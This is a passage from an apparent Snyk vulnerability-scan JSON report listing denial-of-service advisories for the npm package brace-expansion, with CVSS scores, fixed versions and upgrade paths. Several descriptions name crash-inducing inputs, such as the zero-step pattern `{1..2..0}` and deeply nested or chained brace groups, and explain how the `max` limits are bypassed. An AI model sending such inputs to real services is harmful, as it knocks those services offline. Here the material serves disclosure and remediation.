"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
